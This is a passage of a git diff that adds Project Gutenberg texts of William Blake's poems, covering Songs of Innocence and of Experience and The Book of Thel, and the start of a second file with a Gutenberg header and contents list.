the echoing Green. + + Old John, with white hair, + Does laugh away care, + Sitting under the oak, + Among the old folk. + They laugh at our play, + And soon they all say, + "Such, such were the joys + When we all -- girls and boys -- + In our youth-time were seen + On the echoing Green." + + Till the little ones, weary, + No more can be merry: + The sun does descend, + And our sports have an end. + Round the laps of their mothers + Many sisters and brothers, + Like birds in their nest, + Are ready for rest, + And sport no more seen + On the darkening green. + + + THE LAMB + + Little Lamb, who make thee + Dost thou know who made thee, + Gave thee life, and bid thee feed + By the stream and o'er the mead; + Gave thee clothing of delight, + Softest clothing, wolly, bright; + Gave thee such a tender voice, + Making all the vales rejoice? + Little Lamb, who made thee? + Dost thou know who made thee? + + Little Lamb, I'll tell thee; + Little Lamb, I'll tell thee: + He is called by thy name, + For He calls Himself a Lamb + He is meek, and He is mild, + He became a little child. + I a child, and thou a lamb, + We are called by His name. + Little Lamb, God bless thee! + Little Lamb, God bless thee! + + + THE LITTLE BLACK BOY + + My mother bore me in the southern wild, + And I am black, but oh my soul is white! + White as an angel is the English child, + But I am black, as if bereaved of light. + + My mother taught me underneath a tree, + And, sitting down before the heat of day, + She took me on her lap and kissed me, + And, pointed to the east, began to say: + + "Look on the rising sun: there God does live, + And gives His light, and gives His heat away, + And flowers and trees and beasts and men receive + Comfort in morning, joy in the noonday. + + "And we are put on earth a little space, + That we may learn to bear the beams of love + And these black bodies and this sunburnt face + Is but a cloud, and like a shady grove. + + "For when our souls have learn'd the heat to bear, + The cloud will vanish, we shall hear His voice, + Saying, 'Come out from the grove, my love and care + And round my golden tent like lambs rejoice'," + + Thus did my mother say, and kissed me; + And thus I say to little English boy. + When I from black and he from white cloud free, + And round the tent of God like lambs we joy + + I'll shade him from the heat till he can bear + To lean in joy upon our Father's knee; + And then I'll stand and stroke his silver hair, + And be like him, and he will then love me. + + + THE BLOSSOM + + Merry, merry sparrow! + Under leaves so green + A happy blossom + Sees you, swift as arrow, + Seek your cradle narrow, + Near my bosom. + Pretty, pretty robin! + Under leaves so green + A happy blossom + Hears you sobbing, sobbing, + Pretty, pretty robin, + Near my bosom. + + + THE CHIMNEY-SWEEPER + + When my mother died I was very young, + And my father sold me while yet my tongue + Could scarcely cry "Weep! weep! weep! weep!" + So your chimneys I sweep, and in soot I sleep. + + There's little Tom Dacre, who cried when his head, + That curled like a lamb's back, was shaved; so I said, + "Hush, Tom! never mind it, for, when your head's bare, + You know that the soot cannot spoil your white hair." + + And so he was quiet, and that very night, + As Tom was a-sleeping, he had such a sight! -- + That thousands of sweepers, Dick, Joe, Ned, and Jack, + Were all of them locked up in coffins of black. + + And by came an angel, who had a bright key, + And he opened the coffins, and let them all free; + Then down a green plain, leaping, laughing, they run, + And wash in a river, and shine in the sun. + + Then naked and white, all their bags left behind, + They rise upon clouds, and sport in the wind; + And the Angel told Tom, if he'd be a good boy, + He'd have God for his father, and never want joy. + + And so Tom awoke, and we rose in the dark, + And got with our bags and our brushes to work. + Though the morning was cold, Tom was happy and warm: + So, if all do their duty, they need not fear harm. + + + THE LITTLE BOY LOST + + "Father, father, where are you going? + Oh do not walk so fast! + Speak, father, speak to you little boy, + Or else I shall be lost." + + The night was dark, no father was there, + The child was wet with dew; + The mire was deep, and the child did weep, + And away the vapour flew. + + + THE LITTLE BOY FOUND + + The little boy lost in the lonely fen, + Led by the wandering light, + Began to cry, but God, ever nigh, + Appeared like his father, in white. + + He kissed the child, and by the hand led, + And to his mother brought, + Who in sorrow pale, through the lonely dale, + The little boy weeping sought. + + + LAUGHING SONG + + When the green woods laugh with the voice of joy, + And the dimpling stream runs laughing by; + When the air does laugh with our merry wit, + And the green hill laughs with the noise of it; + + when the meadows laugh with lively green, + And the grasshopper laughs in the merry scene, + When Mary and Susan and Emily + With their sweet round mouths sing "Ha, ha he!" + + When the painted birds laugh in the shade, + Where our table with cherries and nuts is spread: + Come live, and be merry, and join with me, + To sing the sweet chorus of "Ha, ha, he!" + + + A SONG + + Sweet dreams, form a shade + O'er my lovely infant's head! + Sweet dreams of pleasant streams + By happy, silent, moony beams! + + Sweet Sleep, with soft down + Weave thy brows an infant crown + Sweet Sleep, angel mild, + Hover o'er my happy child! + + Sweet smiles, in the night + Hover over my delight! + Sweet smiles, mother's smile, + All the livelong night beguile. + + Sweet moans, dovelike sighs, + Chase not slumber from thine eyes! + Sweet moan, sweeter smile, + All the dovelike moans beguile. + + Sleep, sleep, happy child! + All creation slept and smiled. + Sleep, sleep, happy sleep, + While o'er thee doth mother weep. + + Sweet babe, in thy face + Holy image I can trace; + Sweet babe, once like thee + Thy Maker lay, and wept for me: + + Wept for me, for thee, for all, + When He was an infant small. + Thou His image ever see, + Heavenly face that smiles on thee! + + Smiles on thee, on me, on all, + Who became an infant small; + Infant smiles are his own smiles; + Heaven and earth to peace beguiles. + + + DIVINE IMAGE + + To Mercy, Pity, Peace, and Love, + All pray in their distress, + And to these virtues of delight + Return their thankfulness. + + For Mercy, Pity, Peace, and Love, + Is God our Father dear; + And Mercy, Pity, Peace, and Love, + Is man, his child and care. + + For Mercy has a human heart + Pity, a human face; + And Love, the human form divine; + And Peace, the human dress. + + Then every man, of every clime, + That prays in his distress, + Prays to the human form divine: + Love, Mercy, Pity, Peace. + + And all must love the human form, + In heathen, Turk, or Jew. + Where Mercy, Love, and Pity dwell, + There God is dwelling too. + + + HOLY THURSDAY + + 'Twas on a Holy Thursday, their innocent faces clean, + Came children walking two and two, in read, and blue, and green: + Grey-headed beadles walked before, with wands as white as snow, + Till into the high dome of Paul's they like Thames waters flow. + + Oh what a multitude they seemed, these flowers of London town! + Seated in companies they sit, with radiance all their own. + The hum of multitudes was there, but multitudes of lambs, + Thousands of little boys and girls raising their innocent hands. + + Now like a mighty wild they raise to heaven the voice of song, + Or like harmonious thunderings the seats of heaven among: + Beneath them sit the aged man, wise guardians of the poor. + Then cherish pity, lest you drive an angel from your door. + + + NIGHT + + The sun descending in the west, + The evening star does shine; + The birds are silent in their nest, + And I must seek for mine. + The moon, like a flower + In heaven's high bower, + With silent delight, + Sits and smiles on the night. + + Farewell, green fields and happy grove, + Where flocks have ta'en delight. + Where lambs have nibbled, silent move + The feet of angels bright; + Unseen they pour blessing, + And joy without ceasing, + On each bud and blossom, + And each sleeping bosom. + + They look in every thoughtless nest + Where birds are covered warm; + They visit caves of every beast, + To keep them all from harm: + If they see any weeping + That should have been sleeping, + They pour sleep on their head, + And sit down by their bed. + + When wolves and tigers howl for prey, + They pitying stand and weep; + Seeking to drive their thirst away, + And keep them from the sheep. + But, if they rush dreadful, + The angels, most heedful, + Receive each mild spirit, + New worlds to inherit. + + + And there the lion's ruddy eyes + Shall flow with tears of gold: + And pitying the tender cries, + And walking round the fold: + Saying: "Wrath by His meekness, + And, by His health, sickness, + Are driven away + From our immortal day. + + "And now beside thee, bleating lamb, + I can lie down and sleep, + Or think on Him who bore thy name, + Graze after thee, and weep. + For, washed in life's river, + My bright mane for ever + Shall shine like the gold, + As I guard o'er the fold." + + + SPRING + + Sound the flute! + Now it's mute! + Bird's delight, + Day and night, + Nightingale, + In the dale, + Lark in sky,-- + Merrily, + Merrily merrily, to welcome in the year. + + Little boy, + Full of joy; + Little girl, + Sweet and small; + Cock does crow, + So do you; + Merry voice, + Infant noise; + Merrily, merrily, to welcome in the year. + + Little lamb, + Here I am; + Come and lick + My white neck; + Let me pull + Your soft wool; + Let me kiss + Your soft face; + Merrily, merrily, to welcome in the year. + + + NURSE'S SONG + + When the voices of children are heard on the green, + And laughing is heard on the hill, + My heart is at rest within my breast, + And everything else is still. + "Then come home, my children, the sun is gone down, + And the dews of night arise; + Come, come, leave off play, and let us away, + Till the morning appears in the skies." + + "No, no, let us play, for it is yet day, + And we cannot go to sleep; + Besides, in the sky the little birds fly, + And the hills are all covered with sheep." + "Well, well, go and play till the light fades away, + And then go home to bed." + The little ones leaped, and shouted, and laughed, + And all the hills echoed. + + + INFANT JOY + + "I have no name; + I am but two days old." + What shall I call thee? + "I happy am, + Joy is my name." + Sweet joy befall thee! + + Pretty joy! + Sweet joy, but two days old. + Sweet Joy I call thee: + Thou dost smile, + I sing the while; + Sweet joy befall thee! + + + A DREAM + + Once a dream did weave a shade + O'er my angel-guarded bed, + That an emmet lost its way + Where on grass methought I lay. + + Troubled, wildered, and forlorn, + Dark, benighted, travel-worn, + Over many a tangle spray, + All heart-broke, I heard her say: + + "Oh my children! do they cry, + Do they hear their father sigh? + Now they look abroad to see, + Now return and weep for me." + + Pitying, I dropped a tear: + But I saw a glow-worm near, + Who replied, "What wailing wight + Calls the watchman of the night? + + "I am set to light the ground, + While the beetle goes his round: + Follow now the beetle's hum; + Little wanderer, hie thee home!" + + + ON ANOTHER'S SORROW + + Can I see another's woe, + And not be in sorrow too? + Can I see another's grief, + And not seek for kind relief? + + Can I see a falling tear, + And not feel my sorrow's share? + Can a father see his child + Weep, nor be with sorrow filled? + + Can a mother sit and hear + An infant groan, an infant fear? + No, no! never can it be! + Never, never can it be! + + And can He who smiles on all + Hear the wren with sorrows small, + Hear the small bird's grief and care, + Hear the woes that infants bear -- + + And not sit beside the next, + Pouring pity in their breast, + And not sit the cradle near, + Weeping tear on infant's tear? + + And not sit both night and day, + Wiping all our tears away? + Oh no! never can it be! + Never, never can it be! + + He doth give his joy to all: + He becomes an infant small, + He becomes a man of woe, + He doth feel the sorrow too. + + Think not thou canst sigh a sigh, + And thy Maker is not by: + Think not thou canst weep a tear, + And thy Maker is not year. + + Oh He gives to us his joy, + That our grief He may destroy: + Till our grief is fled an gone + He doth sit by us and moan. + + + SONGS OF EXPERIENCE + + + INTRODUCTION + + Hear the voice of the Bard, + Who present, past, and future, sees; + Whose ears have heard + The Holy Word + That walked among the ancient tree; + + Calling the lapsed soul, + And weeping in the evening dew; + That might control + The starry pole, + And fallen, fallen light renew! + + "O Earth, O Earth, return! + Arise from out the dewy grass! + Night is worn, + And the morn + Rises from the slumbrous mass. + + "Turn away no more; + Why wilt thou turn away? + The starry floor, + The watery shore, + Are given thee till the break of day." + + + EARTH'S ANSWER + + Earth raised up her head + From the darkness dread and drear, + Her light fled, + Stony, dread, + And her locks covered with grey despair. + + "Prisoned on watery shore, + Starry jealousy does keep my den + Cold and hoar; + Weeping o're, + I hear the father of the ancient men. + + "Selfish father of men! + Cruel, jealous, selfish fear! + Can delight, + Chained in night, + The virgins of youth and morning bear? + + + "Does spring hide its joy, + When buds and blossoms grow? + Does the sower + Sow by night, + Or the plowman in darkness plough? + + "Break this heavy chain, + That does freeze my bones around! + Selfish, vain, + Eternal bane, + That free love with bondage bound." + + + THE CLOD AND THE PEBBLE + + "Love seeketh not itself to please, + Nor for itself hath any care, + But for another gives it ease, + And builds a heaven in hell's despair." + + So sang a little clod of clay, + Trodden with the cattle's feet, + But a pebble of the brook + Warbled out these metres meet: + + "Love seeketh only Self to please, + To bind another to its delight, + Joys in another's loss of ease, + And builds a hell in heaven's despite." + + + HOLY THURSDAY + + Is this a holy thing to see + In a rich and fruitful land, -- + Babes reduced to misery, + Fed with cold and usurous hand? + + Is that trembling cry a song? + Can it be a song of joy? + And so many children poor? + It is a land of poverty! + + And their son does never shine, + And their fields are bleak and bare, + And their ways are filled with thorns: + It is eternal winter there. + + For where'er the sun does shine, + And where'er the rain does fall, + Babes should never hunger there, + Nor poverty the mind appall. + + + THE LITTLE GIRL LOST + + In futurity + I prophetic see + That the earth from sleep + (Grave the sentence deep) + + Shall arise, and seek + for her Maker meek; + And the desert wild + Become a garden mild. + + In the southern clime, + Where the summer's prime + Never fades away, + Lovely Lyca lay. + + Seven summers old + Lovely Lyca told. + She had wandered long, + Hearing wild birds' song. + + "Sweet sleep, come to me + Underneath this tree; + Do father, mother, weep? + Where can Lyca sleep? + + "Lost in desert wild + Is your little child. + How can Lyca sleep + If her mother weep? + + "If her heart does ache, + Then let Lyca wake; + If my mother sleep, + Lyca shall not weep. + + "Frowning, frowning night, + O'er this desert bright + Let thy moon arise, + While I close my eyes." + + Sleeping Lyca lay + While the beasts of prey, + Come from caverns deep, + Viewed the maid asleep. + + The kingly lion stood, + And the virgin viewed: + Then he gambolled round + O'er the hallowed ground. + + Leopards, tigers, play + Round her as she lay; + While the lion old + Bowed his mane of gold, + + And her breast did lick + And upon her neck, + From his eyes of flame, + Ruby tears there came; + + While the lioness + Loosed her slender dress, + And naked they conveyed + To caves the sleeping maid. + + + THE LITTLE GIRL FOUND + + All the night in woe + Lyca's parents go + Over valleys deep, + While the deserts weep. + + Tired and woe-begone, + Hoarse with making moan, + Arm in arm, seven days + They traced the desert ways. + + Seven nights they sleep + Among shadows deep, + And dream they see their child + Starved in desert wild. + + Pale through pathless ways + The fancied image strays, + Famished, weeping, weak, + With hollow piteous shriek. + + Rising from unrest, + The trembling woman presse + With feet of weary woe; + She could no further go. + + In his arms he bore + Her, armed with sorrow sore; + Till before their way + A couching lion lay. + + Turning back was vain: + Soon his heavy mane + Bore them to the ground, + Then he stalked around, + + Smelling to his prey; + But their fears allay + When he licks their hands, + And silent by them stands. + + They look upon his eyes, + Filled with deep surprise; + And wondering behold + A spirit armed in gold. + + On his head a crown, + On his shoulders down + Flowed his golden hair. + Gone was all their care. + + "Follow me," he said; + "Weep not for the maid; + In my palace deep, + Lyca lies asleep." + + Then they followed + Where the vision led, + And saw their sleeping child + Among tigers wild. + + To this day they dwell + In a lonely dell, + Nor fear the wolvish howl + Nor the lion's growl. + + + THE CHIMNEY SWEEPER + + A little black thing in the snow, + Crying "weep! weep!" in notes of woe! + "Where are thy father and mother? Say!"-- + "They are both gone up to the church to pray. + + "Because I was happy upon the heath, + And smiled among the winter's snow, + They clothed me in the clothes of death, + And taught me to sing the notes of woe. + + "And because I am happy and dance and sing, + They think they have done me no injury, + And are gone to praise God and his priest and king, + Who make up a heaven of our misery." + + + NURSE'S SONG + + When voices of children are heard on the green, + And whisperings are in the dale, + The days of my youth rise fresh in my mind, + My face turns green and pale. + + Then come home, my children, the sun is gone down, + And the dews of night arise; + Your spring and your day are wasted in play, + And your winter and night in disguise. + + + THE SICK ROSE + + O rose, thou art sick! + The invisible worm, + That flies in the night, + In the howling storm, + + Has found out thy bed + Of crimson joy, + And his dark secret love + Does thy life destroy. + + + THE FLY + + Little Fly, + Thy summer's play + My thoughtless hand + Has brushed away. + + Am not I + A fly like thee? + Or art not thou + A man like me? + + For I dance + And drink, and sing, + Till some blind hand + Shall brush my wing. + + If thought is life + And strength and breath + And the want + Of thought is death; + + Then am I + A happy fly, + If I live, + Or if I die. + + + THE ANGEL + + I dreamt a dream! What can it mean? + And that I was a maiden Queen + Guarded by an Angel mild: + Witless woe was ne'er beguiled! + + And I wept both night and day, + And he wiped my tears away; + And I wept both day and night, + And hid from him my heart's delight. + + So he took his wings, and fled; + Then the morn blushed rosy red. + I dried my tears, and armed my fears + With ten-thousand shields and spears. + + Soon my Angel came again; + I was armed, he came in vain; + For the time of youth was fled, + And grey hairs were on my head. + + + THE TIGER + + Tiger, tiger, burning bright + In the forest of the night, + What immortal hand or eye + Could Frame thy fearful symmetry? + + In what distant deeps or skies + Burnt the fire of thine eyes? + On what wings dare he aspire? + What the hand dare seize the fire? + + And what shoulder and what art + Could twist the sinews of thy heart? + And, when thy heart began to beat, + What dread hand and what dread feet? + + What the hammer? what the chain? + In what furnace was thy brain? + What the anvil? what dread grasp + Dare its deadly terrors clasp? + + When the stars threw down their spears, + And watered heaven with their tears, + Did he smile his work to see? + Did he who made the lamb make thee? + + Tiger, tiger, burning bright + In the forests of the night, + What immortal hand or eye + Dare frame thy fearful symmetry? + + + MY PRETTY ROSE TREE + + A flower was offered to me, + Such a flower as May never bore; + But I said "I've a pretty rose tree," + And I passed the sweet flower o'er. + + Then I went to my pretty rose tree, + To tend her by day and by night; + But my rose turned away with jealousy, + And her thorns were my only delight. + + + AH SUNFLOWER + + Ah Sunflower, weary of time, + Who countest the steps of the sun; + Seeking after that sweet golden clime + Where the traveller's journey is done; + + Where the Youth pined away with desire, + And the pale virgin shrouded in snow, + Arise from their graves, and aspire + Where my Sunflower wishes to go! + + + THE LILY + + The modest Rose puts forth a thorn, + The humble sheep a threat'ning horn: + While the Lily white shall in love delight, + Nor a thorn nor a threat stain her beauty bright. + + + THE GARDEN OF LOVE + + I laid me down upon a bank, + Where Love lay sleeping; + I heard among the rushes dank + Weeping, weeping. + + Then I went to the heath and the wild, + To the thistles and thorns of the waste; + And they told me how they were beguiled, + Driven out, and compelled to the chaste. + + I went to the Garden of Love, + And saw what I never had seen; + A Chapel was built in the midst, + Where I used to play on the green. + + And the gates of this Chapel were shut + And "Thou shalt not," writ over the door; + So I turned to the Garden of Love + That so many sweet flowers bore. + + And I saw it was filled with graves, + And tombstones where flowers should be; + And priests in black gowns were walking their rounds, + And binding with briars my joys and desires. + + + THE LITTLE VAGABOND + + Dear mother, dear mother, the Church is cold; + But the Alehouse is healthy, and pleasant, and warm. + Besides, I can tell where I am used well; + The poor parsons with wind like a blown bladder swell. + + But, if at the Church they would give us some ale, + And a pleasant fire our souls to regale, + We'd sing and we'd pray all the livelong day, + Nor ever once wish from the Church to stray. + + Then the Parson might preach, and drink, and sing, + And we'd be as happy as birds in the spring; + And modest Dame Lurch, who is always at church, + Would not have bandy children, nor fasting, nor birch. + + And God, like a father, rejoicing to see + His children as pleasant and happy as he, + Would have no more quarrel with the Devil or the barrel, + But kiss him, and give him both drink and apparel. + + + LONDON + + I wandered through each chartered street, + Near where the chartered Thames does flow, + A mark in every face I meet, + Marks of weakness, marks of woe. + + In every cry of every man, + In every infant's cry of fear, + In every voice, in every ban, + The mind-forged manacles I hear: + + How the chimney-sweeper's cry + Every blackening church appals, + And the hapless soldier's sigh + Runs in blood down palace-walls. + + But most, through midnight streets I hear + How the youthful harlot's curse + Blasts the new-born infant's tear, + And blights with plagues the marriage-hearse. + + + THE HUMAN ABSTRACT + + Pity would be no more + If we did not make somebody poor, + And Mercy no more could be + If all were as happy as we. + + And mutual fear brings Peace, + Till the selfish loves increase + Then Cruelty knits a snare, + And spreads his baits with care. + + He sits down with his holy fears, + And waters the ground with tears; + Then Humility takes its root + Underneath his foot. + + Soon spreads the dismal shade + Of Mystery over his head, + And the caterpillar and fly + Feed on the Mystery. + + And it bears the fruit of Deceit, + Ruddy and sweet to eat, + And the raven his nest has made + In its thickest shade. + + The gods of the earth and sea + Sought through nature to find this tree, + But their search was all in vain: + There grows one in the human Brain. + + + INFANT SORROW + + My mother groaned, my father wept: + Into the dangerous world I leapt, + Helpless, naked, piping loud, + Like a fiend hid in a cloud. + + Struggling in my father's hands, + Striving against my swaddling-bands, + Bound and weary, I thought best + To sulk upon my mother's breast. + + + A POISON TREE + + I was angry with my friend: + I told my wrath, my wrath did end. + I was angry with my foe: + I told it not, my wrath did grow. + + And I watered it in fears + Night and morning with my tears, + And I sunned it with smiles + And with soft deceitful wiles. + + And it grew both day and night, + Till it bore an apple bright, + And my foe beheld it shine, + and he knew that it was mine, -- + + And into my garden stole + When the night had veiled the pole; + In the morning, glad, I see + My foe outstretched beneath the tree. + + + A LITTLE BOY LOST + + "Nought loves another as itself, + Nor venerates another so, + Nor is it possible to thought + A greater than itself to know. + + "And, father, how can I love you + Or any of my brothers more? + I love you like the little bird + That picks up crumbs around the door." + + The Priest sat by and heard the child; + In trembling zeal he seized his hair, + He led him by his little coat, + And all admired the priestly care. + + And standing on the altar high, + "Lo, what a fiend is here! said he: + "One who sets reason up for judge + Of our most holy mystery." + + The weeping child could not be heard, + The weeping parents wept in vain: + They stripped him to his little shirt, + And bound him in an iron chain, + + And burned him in a holy place + Where many had been burned before; + The weeping parents wept in vain. + Are such thing done on Albion's shore? + + + A LITTLE GIRL LOST + + Children of the future age, + Reading this indignant page, + Know that in a former time + Love, sweet love, was thought a crime. + + In the age of gold, + Free from winter's cold, + Youth and maiden bright, + To the holy light, + Naked in the sunny beams delight. + + Once a youthful pair, + Filled with softest care, + Met in garden bright + Where the holy light + Had just removed the curtains of the night. + + Then, in rising day, + On the grass they play; + Parents were afar, + Strangers came not near, + And the maiden soon forgot her fear. + + Tired with kisses sweet, + They agree to meet + When the silent sleep + Waves o'er heaven's deep, + And the weary tired wanderers weep. + + To her father white + Came the maiden bright; + But his loving look, + Like the holy book + All her tender limbs with terror shook. + + "Ona, pale and weak, + To thy father speak! + Oh the trembling fear! + Oh the dismal care + That shakes the blossoms of my hoary hair!" + + + THE SCHOOLBOY + + I love to rise on a summer morn, + When birds are singing on every tree; + The distant huntsman winds his horn, + And the skylark sings with me: + Oh what sweet company! + + But to go to school in a summer morn, -- + Oh it drives all joy away! + Under a cruel eye outworn, + The little ones spend the day + In sighing and dismay. + + Ah then at times I drooping sit, + And spend many an anxious hour; + Nor in my book can I take delight, + Nor sit in learning's bower, + Worn through with the dreary shower. + + How can the bird that is born for joy + Sit in a cage and sing? + How can a child, when fears annoy, + But droop his tender wing, + And forget his youthful spring? + + Oh father and mother, if buds are nipped, + And blossoms blown away; + And if the tender plants are stripped + Of their joy in the springing day, + By sorrow and care's dismay, -- + + How shall the summer arise in joy, + Or the summer fruits appear? + Or how shall we gather what griefs destroy, + Or bless the mellowing year, + When the blasts of winter appear? + + + TO TERZAH + + Whate'er is born of mortal birth + Must be consumed with the earth, + To rise from generation free: + Then what have I to do with thee? + The sexes sprang from shame and pride, + Blown in the morn, in evening died; + But mercy changed death into sleep; + The sexes rose to work and weep. + + Thou, mother of my mortal part, + With cruelty didst mould my heart, + And with false self-deceiving tears + Didst bind my nostrils, eyes, and ears, + + Didst close my tongue in senseless clay, + And me to mortal life betray. + The death of Jesus set me free: + Then what have I to do with thee? + + + THE VOICE OF THE ANCIENT BARD + + Youth of delight! come hither + And see the opening morn, + Image of Truth new-born. + Doubt is fled, and clouds of reason, + Dark disputes and artful teazing. + Folly is an endless maze; + Tangled roots perplex her ways; + How many have fallen there! + They stumble all night over bones of the dead; + And feel -- they know not what but care; + And wish to lead others, when they should be led. + + +APPENDIX + + A DIVINE IMAGE + + Cruelty has a human heart, + And Jealousy a human face; + Terror the human form divine, + And Secresy the human dress. + + The human dress is forged iron, + The human form a fiery forge, + The human face a furnace sealed, + The human heart its hungry gorge. + + NOTE: Though written and engraved by Blake, "A DIVINE IMAGE" was never +included in the SONGS OF INNOCENCE AND OF EXPERIENCE. + + + + + + +William Blake's + +THE BOOK of THEL + + +THEL'S Motto + +Does the Eagle know what is in the pit? +Or wilt thou go ask the Mole: +Can Wisdom be put in a silver rod? +Or Love in a golden bowl? + + +THE BOOK of THEL + +The Author & Printer Willm. Blake. 1780 + + +THEL + +I + +The daughters of Mne Seraphim led round their sunny flocks, +All but the youngest: she in paleness sought the secret air. +To fade away like morning beauty from her mortal day: +Down by the river of Adona her soft voice is heard; +And thus her gentle lamentation falls like morning dew. + +O life of this our spring! why fades the lotus of the water? +Why fade these children of the spring? born but to smile & fall. +Ah! Thel is like a watry bow, and like a parting cloud, +Like a reflection in a glass: like shadows in the water +Like dreams of infants, like a smile upon an infants face. +Like the doves voice, like transient day, like music in the air: +Ah! gentle may I lay me down and gentle rest my head. +And gentle sleep the sleep of death, and gently hear the voice +Of him that walketh in the garden in the evening time. + +The Lilly of the valley breathing in the humble grass +Answerd the lovely maid and said: I am a watry weed, +And I am very small and love to dwell in lowly vales: +So weak the gilded butterfly scarce perches on my head +Yet I am visited from heaven and he that smiles on all +Walks in the valley, and each morn over me spreads his hand +Saying, rejoice thou humble grass, thou new-born lily flower. +Thou gentle maid of silent valleys and of modest brooks: +For thou shall be clothed in light, and fed with morning manna: +Till summers heat melts thee beside the fountains and the springs +To flourish in eternal vales: they why should Thel complain. +Why should the mistress of the vales of Har, utter a sigh. + +She ceasd & smild in tears, then sat down in her silver shrine. + +Thel answerd, O thou little virgin of the peaceful valley. +Giving to those that cannot crave, the voiceless, the o'er tired +The breath doth nourish the innocent lamb, he smells the milky garments +He crops thy flowers while thou sittest smiling in his face, +Wiping his mild and meekin mouth from all contagious taints. +Thy wine doth purify the golden honey; thy perfume. +Which thou dost scatter on every little blade of grass that springs +Revives the milked cow, & tames the fire-breathing steed. +But Thel is like a faint cloud kindled at the rising sun: +I vanish from my pearly throne, and who shall find my place. + +Queen of the vales the Lily answered, ask the tender cloud, +And it shall tell thee why it glitters in the morning sky. +And why it scatters its bright beauty thro the humid air. +Descend O little cloud & hover before the eyes of Thel. + +The Cloud descended and the Lily bowd her modest head: +And went to mind her numerous charge among the verdant grass. + + +II. + +O little Cloud the virgin said, I charge thee to tell me +Why thou complainest now when in one hour thou fade away: +Then we shall seek thee but not find: ah Thel is like to thee. +I pass away, yet I complain, and no one hears my voice. + +The Cloud then shewd his golden head & his bright form emerg'd. +Hovering and glittering on the air before the face of Thel. + +O virgin know'st thou not our steeds drink of the golden springs +Where Luvah doth renew his horses: lookst thou on my youth. +And fearest thou because I vanish and am seen no more. +Nothing remains; O maid I tell thee, when I pass away. +It is to tenfold life, to love, to peace, and raptures holy: +Unseen descending, weigh my light wings upon balmy flowers: +And court the fair eyed dew, to take me to her shining tent +The weeping virgin, trembling kneels before the risen sun. +Till we arise link'd in a golden band and never part: +But walk united bearing food to all our tender flowers. + +Dost thou O little cloud? I fear that I am not like thee: +For I walk through the vales of Har, and smell the sweetest flowers: +But I feed not the little flowers: I hear the warbling birds, +But I feed not the warbling birds, they fly and seek their food: +But Thel delights in these no more because I fade away +And all shall say, without a use this shining women liv'd, +Or did she only live to be at death the food of worms. + +The Cloud reclind upon his airy throne and answerd thus. + +Then if thou art the food of worms, O virgin of the skies, +How great thy use, how great thy blessing, every thing that lives. +Lives not alone nor or itself: fear not and I will call, +The weak worm from its lowly bed, and thou shalt hear its voice. +Come forth worm and the silent valley, to thy pensive queen. + +The helpless worm arose and sat upon the Lillys leaf, +And the bright Cloud saild on, to find his partner in the vale. + + +III. + +Then Thel astonish'd view'd the Worm upon its dewy bed. + +Art thou a Worm? image of weakness. art thou but a Worm? +I see thee like an infant wrapped in the Lillys leaf; +Ah weep not little voice, thou can'st not speak, but thou can'st weep: +Is this a Worm? I see they lay helpless & naked: weeping +And none to answer, none to cherish thee with mothers smiles. + +The Clod of Clay heard the Worms voice & rais'd her pitying head: +She bowd over the weeping infant, and her life exhald +In milky fondness, then on Thel she fix'd her humble eyes + +O beauty of the vales of Har, we live not for ourselves, +Thou seest me the meanest thing, and so I am indeed: +My bosom of itself is cold, and of itself is dark, + +But he that loves the lowly, pours his oil upon my head +And kisses me, and binds his nuptial bands around my breast. +And says; Thou mother of my children, I have loved thee +And I have given thee a crown that none can take away. +But how this is sweet maid, I know not, and I cannot know +I ponder, and I cannot ponder; yet I live and love. + +The daughter of beauty wip'd her pitying tears with her white veil, +And said, Alas! I knew not this, and therefore did I weep: +That God would love a Worm I knew, and punish the evil foot +That wilful bruis'd its helpless form: but that he cherish'd it +With milk and oil I never knew, and therefore did I weep, +And I complaind in the mild air, because I fade away. +And lay me down in thy cold bed, and leave my shining lot. + +Queen of the vales, the matron Clay answered: I heard thy sighs. +And all thy moans flew o'er my roof, but I have call'd them down: +Wilt thou O Queen enter my house, tis given thee to enter, +And to return: fear nothing, enter with thy virgin feet. + + +IV. + +The eternal gates terrific porter lifted the northern bar: +Thel enter'd in & saw the secrets of the land unknown; +She saw the couches of the dead, & where the fibrous roots +Of every heart on earth infixes deep its restless twists: +A land of sorrows & of tears where never smile was seen. + +She wandered in the land of clouds thro' valleys dark, listning +Dolors & lamentations: waiting oft beside the dewy grave +She stood in silence, listning to the voices of the ground, +Till to her own grave plot she came, & there she sat down. +And heard this voice of sorrow breathed from the hollow pit. + +Why cannot the Ear be closed to its own destruction? +Or the glistening Eye to the poison of a smile! +Why are Eyelids stord with arrows ready drawn, +Where a thousand fighting men in ambush lie! +Or an Eye of gifts & graces showring fruits & coined gold! + +Why a Tongue impress'd with honey from every wind? +Why an Ear, a whirlpool fierce to draw creations in? +Why a Nostril wide inhaling terror trembling & affright +Why a tender curb upon the youthful burning boy? +Why a little curtain of flesh on the bed of our desire? + +The Virgin started from her seat, & with a shriek, +Fled back unhinderd till she came into the vales of Har + + + +End of The Project Gutenberg Etext of Poems of William Blake + diff --git a/mccalum/blake-songs.txt b/mccalum/blake-songs.txt new file mode 100644 index 0000000..3afaf4b --- /dev/null +++ b/mccalum/blake-songs.txt @@ -0,0 +1,1759 @@ +Project Gutenberg Etext Songs of Innocence and Experience by Blake +#2 in our series by William Blake + + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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Brimley Johnson edition. + + + + + +Songs of Innocence and Songs of Experience + +by William Blake + + + + +Contents: + +SONGS OF INNOCENCE + +Introduction +The Shepherd +The Echoing Green +The Lamb +The Little Black Boy +The Blossom +The Chimney-Sweeper +The Little Boy Lost +The Little Boy Pound +Laughing Song +A Cradle Song +The Divine Image +Holy Thursday +Night +Spring +Nurse's Song +Infant Joy +A Dream +On Another's Sorrow + +SONGS OF EXPERIENCE + +Introduction +Earth's Answer +The Clod and the Pebble +Holy Thursday +The Little Girl Lost +The Little Girl Found +The Chimney-Sweeper +Nurse's Song +The Sick Rose +The Fly +The Angel +The Tiger +My Pretty Rose-Tree +Ah, Sunflower +The Lily +The Garden of Love +The Little Vagabond +London +The Human Abstract +Infant Sorrow +A Poison Tree +A Little Boy Lost +A Little Girl Lost +A Divine Image +A Cradle Song +The Schoolboy +To Tirzah +The Voice of the Ancient Bard + + + + +SONGS OF INNOCENCE + + + + +INTRODUCTION + + + +Piping down the valleys wild, +Piping songs of pleasant glee, +On a cloud I saw a child, +And he laughing said to me: + +'Pipe a song about a Lamb!' +So I piped with merry cheer. +'Piper, pipe that song again.' +So I piped: he wept to hear. + +'Drop thy pipe, thy happy pipe; +Sing thy 